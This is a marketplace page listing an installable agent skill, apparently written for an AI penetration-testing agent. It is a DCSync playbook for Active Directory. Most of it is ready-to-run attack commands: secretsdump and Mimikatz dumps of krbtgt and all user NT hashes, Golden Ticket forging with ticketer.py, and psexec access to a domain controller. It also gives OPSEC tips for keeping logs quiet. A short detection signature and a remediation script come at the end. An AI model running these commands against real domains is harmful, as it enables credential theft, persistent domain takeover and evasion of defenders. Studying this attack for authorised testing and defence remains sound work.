Skip to main content

dcsync

Abuse replication rights (DS-Replication-Get-Changes + GetChangesAll) to dump krbtgt and arbitrary user NT hashes from a DC.

الانتقال إلى التثبيت

معلومات المصدر

المستودع
BitterSecurity/Decepticon
آخر نشاط في المصدر
٢ يونيو ٢٠٢٦ في ١٧:٢٢
لغة SKILL.md المكتشفة
الإنجليزية
النجوم
٥٬٥٦٥
التفرعات
١٬٠٥٣

خيارات التثبيت

يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.

مراجعة ملفات المصدر

اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.

عرض SKILL.md

SKILL.md
تعليمات المصدر · معاينة للقراءة فقط
name
dcsync
description
Abuse replication rights (DS-Replication-Get-Changes + GetChangesAll) to dump krbtgt and arbitrary user NT hashes from a DC.
metadata
{"subdomain":"active-directory","when_to_use":"dcsync replication rights secretsdump krbtgt nt hash dump","mitre_attack":["T1003.006"]}
# DCSync Playbook DCSync is not a vulnerability — it's a legitimate AD feature for domain controllers to replicate. The "vulnerability" is when a non-DC principal has the replication-rights ACL. ## 1. Identify DCSync candidates From BloodHound: ``` kg_query(kind="user", filter="dcsync=true") + kg_query(kind="group", filter="dcsync=true") ``` Or Cypher direct: ``` MATCH (n)-[:GetChanges|GetChangesAll]->(:Domain) RETURN DISTINCT n.name, labels(n) ``` Common holders (legitimate): - Domain Admins, Enterprise Admins, Domain Controllers - Exchange Trusted Subsystem (Exchange installs grant by default — historical PrivExchange) - Replicator (rare) Common holders (misconfig = jackpot): - Service accounts (admins delegated mistakenly) - Helpdesk groups - Groups from old migrations ## 2. Execute DCSync **Impacket** (most reliable): ```bash # All NT hashes including krbtgt secretsdump.py 'DOM/USER:PASS@DC_IP' -just-dc \ -outputfile /tmp/secrets # Just one target user secretsdump.py 'DOM/USER:PASS@DC_IP' -just-dc-user 'krbtgt' # With NT hash auth instead of password secretsdump.py -hashes :NT_HASH 'DOM/USER@DC_IP' -just-dc # With Kerberos ticket (cleaner OPSEC) export KRB5CCNAME=/tmp/user.ccache secretsdump.py -k -no-pass 'DOM/USER@DC_FQDN' -just-dc ``` **Mimikatz** (from Windows): ``` lsadump::dcsync /domain:dom.local /user:krbtgt lsadump::dcsync /domain:dom.local /all /csv ``` ## 3. Output files secretsdump produces: - `/tmp/secrets.ntds` — `user:RID:LM_HASH:NT_HASH:::` format - `/tmp/secrets.ntds.kerberos` — Kerberos keys (aes256, aes128, des) - `/tmp/secrets.ntds.cleartext` — any reversibly-encrypted passwords (rare, but yes) ## 4. Highest-value secrets to grab | User | Why | What unlocks | |---|---|---| | `krbtgt` | Master Kerberos key | Golden Ticket — persistence + arbitrary user impersonation forever (until rotation) | | `Administrator` | Built-in domain admin | Direct admin on most assets | | Domain Admin members | Lateral movement | Most assets | | `<trustname>$` | Trust accounts | Cross-forest movement | | Service accounts | Often local admin on hosts | Lateral movement | | Exchange computer accounts | Mailbox access | E-discovery / pivot | ## 5. Golden Ticket (post-DCSync) With krbtgt NT hash: ```bash ticketer.py -nthash KRBTGT_NT \ -domain-sid 'S-1-5-21-XXXX-YYYY-ZZZZ' \ -domain 'dom.local' \ Administrator # Produces Administrator.ccache — TGT for Administrator that lasts 10 years export KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass 'DC@DC_FQDN' ``` ## 6. Promote ``` kg_add_node(kind="credential", label="krbtgt:NT_HASH", props={"source":"dcsync","value":"<hash>"}) kg_add_node(kind="vulnerability", label="DCSync from <principal>", props={"severity":"critical"}) kg_add_edge(src=<vuln>, dst=<krbtgt>, kind="extracts") kg_add_edge(src=<krbtgt>, dst=<crown_jewel:domain>, kind="compromises") ``` ## OPSEC - DCSync generates **event 4662** on DCs with `Properties: Replicating Directory Changes` - Defender's high-signal detection (the **only** good DCSync detection) - BloodHound's `:DS-Replication-Get-Changes` GUID: `1131f6aa-9c07-11d1-f79f-00c04fc2dcd2` - A single DCSync run, scoped to one user (`-just-dc-user`), produces less log volume than `-just-dc` - Use Kerberos auth (`-k`) instead of NTLM to avoid 4624 type-3 noise ## Detection signature (so you know what blue sees) ``` EventCode=4662 ObjectType=domainDNS Properties: %{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} OR %{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2} SubjectUserName != *$ (filter out DC computer accounts) ``` ## CVSS - DCSync available to non-DC principal: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = 9.0 - Already DA + DCSync: not a separate finding, just post-compromise activity ## Defender remediation ```powershell # Audit current holders of replication rights Get-ADObject -Identity (Get-ADDomain).DistinguishedName -Properties nTSecurityDescriptor | Select -ExpandProperty nTSecurityDescriptor | Select -ExpandProperty Access | Where { $_.ObjectType -in @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2','1131f6ad-9c07-11d1-f79f-00c04fc2dcd2') } | Format-Table IdentityReference, ActiveDirectoryRights # Remove unauthorized holders via dsacls dsacls "DC=dom,DC=local" /R "DOM\BadPrincipal" ```
عرض على GitHub